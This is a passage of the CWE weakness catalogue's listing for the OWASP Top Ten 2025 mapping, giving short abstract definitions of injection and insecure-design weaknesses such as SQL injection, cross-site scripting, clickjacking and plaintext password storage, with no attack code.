* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of HTTP Headers for Scripting Syntax - (644)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 644 (Improper Neutralization of HTTP Headers for Scripting Syntax)
The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - (74)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'))
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Equivalent Special Elements - (76)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 76 (Improper Neutralization of Equivalent Special Elements)
The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Neutralization of Special Elements used in a Command ('Command Injection') - (77)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Command injection
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Shell injection Shell metacharacters OS Command Injection
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. XSS HTML Injection Reflected XSS / Non-Persistent XSS / Type 1 XSS Stored XSS / Persistent XSS / Type 2 XSS DOM-Based XSS / Type 0 XSS CSS
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) - (80)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 80 (Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Script in Attributes in a Web Page - (83)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 83 (Improper Neutralization of Script in Attributes in a Web Page)
The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Invalid Characters in Identifiers in Web Pages - (86)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 86 (Improper Neutralization of Invalid Characters in Identifiers in Web Pages)
The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') - (88)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 88 (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. SQL injection SQLi
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - (90)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. XML Injection (aka Blind XPath Injection) - (91)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 91 (XML Injection (aka Blind XPath Injection))
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - (917)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 917 (Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed. EL Injection
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of CRLF Sequences ('CRLF Injection') - (93)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 93 (Improper Neutralization of CRLF Sequences ('CRLF Injection'))
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Control of Generation of Code ('Code Injection') - (94)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 94 (Improper Control of Generation of Code ('Code Injection'))
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Code Injection
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - (95)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 95 (Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') - (96)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 96 (Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'))
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Server-Side Includes (SSI) Within a Web Page - (97)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 97 (Improper Neutralization of Server-Side Includes (SSI) Within a Web Page)
The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - (98)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'))
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. Remote file include RFI Local file inclusion
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Control of Resource Identifiers ('Resource Injection') - (99)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 99 (Improper Control of Resource Identifiers ('Resource Injection'))
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control. Insecure Direct Object Reference
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A06:2025 - Insecure Design - (1441)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design)
Weaknesses in this category are related to the A06 category "Insecure Design" in the OWASP Top Ten 2025.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Restriction of Rendered UI Layers or Frames - (1021)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 1021 (Improper Restriction of Rendered UI Layers or Frames)
The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with. Clickjacking UI Redress Attack Tapjacking
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of Web Link to Untrusted Target with window.opener Access - (1022)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 1022 (Use of Web Link to Untrusted Target with window.opener Access)
The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property. tabnabbing
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Excessive Attack Surface - (1125)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 1125 (Excessive Attack Surface)
The product has an attack surface whose quantitative measurement exceeds a desirable maximum.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Permissive List of Allowed Inputs - (183)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 183 (Permissive List of Allowed Inputs)
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. Allowlist / Allow List Safelist / Safe List Whitelist / White List
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Plaintext Storage of a Password - (256)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 256 (Plaintext Storage of a Password)
The product stores a password in plaintext within resources such as memory or files.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Privilege Assignment - (266)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 266 (Incorrect Privilege Assignment)
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect User Management - (286)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 286 (Incorrect User Management)
The product does not properly manage a user within its environment.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Encryption of Sensitive Data - (311)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 311 (Missing Encryption of Sensitive Data)
The product does not encrypt sensitive or critical information before storage or transmission.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information - (312)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 312 (Cleartext Storage of Sensitive Information)
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage in a File or on Disk - (313)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 313 (Cleartext Storage in a File or on Disk)
The product stores sensitive information in cleartext in a file, or on disk.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information in Memory - (316)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 316 (Cleartext Storage of Sensitive Information in Memory)
The product stores sensitive information in cleartext in memory.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. J2EE Bad Practices: Use of System.exit() - (382)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 382 (J2EE Bad Practices: Use of System.exit())
A J2EE application uses System.exit(), which also shuts down its container.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unprotected Primary Channel - (419)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 419 (Unprotected Primary Channel)
The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unrestricted Upload of File with Dangerous Type - (434)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 434 (Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Unrestricted File Upload
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Interpretation Conflict - (436)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 436 (Interpretation Conflict)
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - (444)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 444 (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'))
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. HTTP Request Smuggling HTTP Response Smuggling HTTP Smuggling
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. User Interface (UI) Misrepresentation of Critical Information - (451)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 451 (User Interface (UI) Misrepresentation of Critical Information)
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Initialization of Trusted Variables or Data Stores - (454)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 454 (External Initialization of Trusted Variables or Data Stores)
The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Control of Assumed-Immutable Web Parameter - (472)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 472 (External Control of Assumed-Immutable Web Parameter)
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields. Assumed-Immutable Parameter Tampering
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Trust Boundary Violation - (501)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 501 (Trust Boundary Violation)
The product mixes trusted and untrusted data in the same data structure or structured message.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficiently Protected Credentials - (522)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 522 (Insufficiently Protected Credentials)
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of Web Browser Cache Containing Sensitive Information - (525)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 525 (Use of Web Browser Cache Containing Sensitive Information)
The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of Persistent Cookies Containing Sensitive Information - (539)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 539 (Use of Persistent Cookies Containing Sensitive Information)
The web application uses persistent cookies, but the cookies contain sensitive information.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of GET Request Method With Sensitive Query Strings - (598)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 598 (Use of GET Request Method With Sensitive Query Strings)
The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Client-Side Enforcement of Server-Side Security - (602)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 602 (Client-Side Enforcement of Server-Side Security)
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Function Call with Incorrectly Specified Arguments - (628)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 628 (Function Call with Incorrectly Specified Arguments)
The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. External Control of Critical State Data - (642)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 642 (External Control of Critical State Data)
The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Reliance on File Name or Extension of Externally-Supplied File - (646)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 646 (Reliance on File Name or Extension of Externally-Supplied File)
The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Isolation or Compartmentalization - (653)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 653 (Improper Isolation or Compartmentalization)
The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions. Separation of Privilege
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Reliance on Security Through Obscurity - (656)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 656 (Reliance on Security Through Obscurity)
The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism. Never Assuming your secrets are safe
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Violation of Secure Design Principles - (657)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1441 (OWASP Top Ten 2025 Category A06:2025 - Insecure Design) > 657 (Violation of Secure Design Principles)
The product violates well-established principles for secure design.
